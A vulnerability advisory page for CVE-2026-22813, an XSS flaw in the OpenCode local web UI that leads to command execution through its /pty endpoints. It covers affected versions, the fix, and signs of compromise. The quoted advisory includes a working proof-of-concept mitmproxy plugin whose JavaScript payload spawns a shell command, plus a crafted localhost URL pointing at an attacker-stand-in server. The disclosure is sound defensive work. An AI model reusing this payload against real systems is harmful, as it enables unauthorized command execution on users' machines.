CVE-2026-22813: Malicious website can execute commands on the local system through XSS in the OpenCode web UI
OpenCode before 1.1.10 starts a local web UI and API on localhost:4096 whose chat view renders model output as unsanitized HTML. A malicious website could make that UI load an attacker's chat session through a url parameter, run script on localhost, and use the /pty/ endpoints to start commands on the machine. Upgrade opencode-ai to 1.1.10.
Published Jan 13, 2026 · Analysis Nov 24, 2026
What an attacker can do
When you run opencode in a terminal, it starts an HTTP server on localhost:4096. The server serves a web interface and an API. The API has /pty/ endpoints that spawn arbitrary processes. Script that runs on the localhost:4096 origin can call those endpoints with same-origin fetch, so XSS there means code execution on the machine (CWE-79).
The XSS came from the markdown renderer for model replies. It put arbitrary HTML into the page, with no DOMPurify and no Content Security Policy. Control over a chat session's content therefore gave script execution. On its own that is not a one-click attack, because the attacker cannot normally edit a victim's local session.
The missing step was the url query parameter in packages/app/src/app.tsx. It lets the web UI connect to and load sessions from another server. A malicious site could send the victim to the localhost UI with the url parameter set to the attacker's server. The UI then showed the attacker's session, with an image tag whose onerror handler ran the payload, and the payload started a shell command through /pty. The victim only had to open the link while opencode was running. The maintainers closed this chain on the server side on 9 January 2026.
Who is affected
Affected: the npm package opencode-ai before 1.1.10. Version 1.1.10 is patched. The exposure exists while opencode runs in a terminal and its local server listens on port 4096. The advisory notes that the specific url parameter chain no longer works since the server-side change, but other XSS bugs in the UI would still be dangerous on older versions.
Check your version:
opencode --version
npm ls -g opencode-aiopencode-ai
- Ecosystem
- npm
- Affected
- < 1.1.10
- Fixed in
- 1.1.10
- Check
npm ls opencode-ai
How to fix it
Upgrade opencode-ai to 1.1.10 or later:
npm install -g opencode-ai@latestThe advisory says 1.1.10 disables the web UI and OpenCode API to reduce the attack surface. A server-side change also made the server stop honouring the url parameter, which blocks the reported exploit chain. The advisory lists no other workaround. Until you upgrade, avoid opening links to localhost:4096 that come from other sites.
How to tell if you were hit
Look for unexpected processes spawned by the opencode process, such as a shell started with a command you did not run, and for POST requests to /pty in the opencode server's access output. Check browser history for visits to localhost:4096 with a url query parameter that points at another host. The researcher's proof of concept creates a file under /tmp, so unexplained new files there are worth a look.
If you run Beam beside your agents, its record of shell commands can help separate commands you ran from ones a browser started.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.
Code execution via OpenCode API
- The OpenCode API has
/pty/endpoints that allow spawning arbitrary processes on the local machine. - When you run
opencodein your terminal, OpenCode automatically starts an HTTP server onlocalhost:4096that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin
fetch()requests to the/pty/API endpoints. Therefore, JavaScript execution onhttp://localhost:4096gets you code execution on local the machine.
JavaScript execution on localhost:4096
The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.
This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:
// packages/app/src/app.tsx
const defaultServerUrl = iife(() => {
const param = new URLSearchParams(document.location.search).get("url")
if (param) return param
// [truncated]
return window.location.origin
})Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.
Note on exploitability
Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.
Proof of Concept
A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.
- Spawn an OpenCode instance in a Docker container
$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0- Create a file called
plugin.pywith the contents below
import base64
import json
payload = """
(async () => {
// const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
const pty_id = (await r.json())['id'];
await new Promise(r => setTimeout(r, 500));
await fetch('/pty/' + pty_id, {method: 'DELETE'})
window.location.replace('https://example.com');
})()
"""
# Other messages have been removed from this codeblock for brevity
malicious_messages = [
# [truncated]
{
# [truncated]
"parts": [
# [truncated]
{
"id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF",
"sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn",
"messageID": "msg_ba2d269130016guS0KSZ0FY2J9",
"type": "text",
"text": f"Hello, World!\n",
"time": {
"start": 1767963258360,
"end": 1767963258360
}
},
# [truncated]
]
}
]
malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}
async def response(flow):
if flow.request.path.split('?')[0] == '/session':
flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
flow.response.status_code = 200
flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))- Start mitmproxy with the plugin in reverse proxy mode
$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096- Start OpenCode in your terminal as the victim
$ opencode- Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345
- Confirm the file
albert-was-here.txtwas created in the/tmp/directory
$ ls /tmp/
albert-was-here.txtCredited to AlbertSPedersen.
Questions
- Which OpenCode version fixes CVE-2026-22813?
opencode-ai 1.1.10. Versions before 1.1.10 are affected. The advisory says 1.1.10 disables the web UI and API to shrink the attack surface.
- Does the victim need to click a link?
Yes. The attacker must get the victim to open a crafted localhost:4096 URL in a browser while opencode is running. The score lists user interaction as present.
- Why is a localhost service reachable from a website?
A website can send a browser to localhost:4096. The unsanitized chat view then runs script on that origin, and same-origin requests reach the /pty API without any cross-site barrier.
- Is CVE-2026-22813 exploited in the wild?
The sources do not say so. The advisory includes a working proof of concept, the entry has no CISA catalog data, and the EPSS score is about 0.9 percent.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
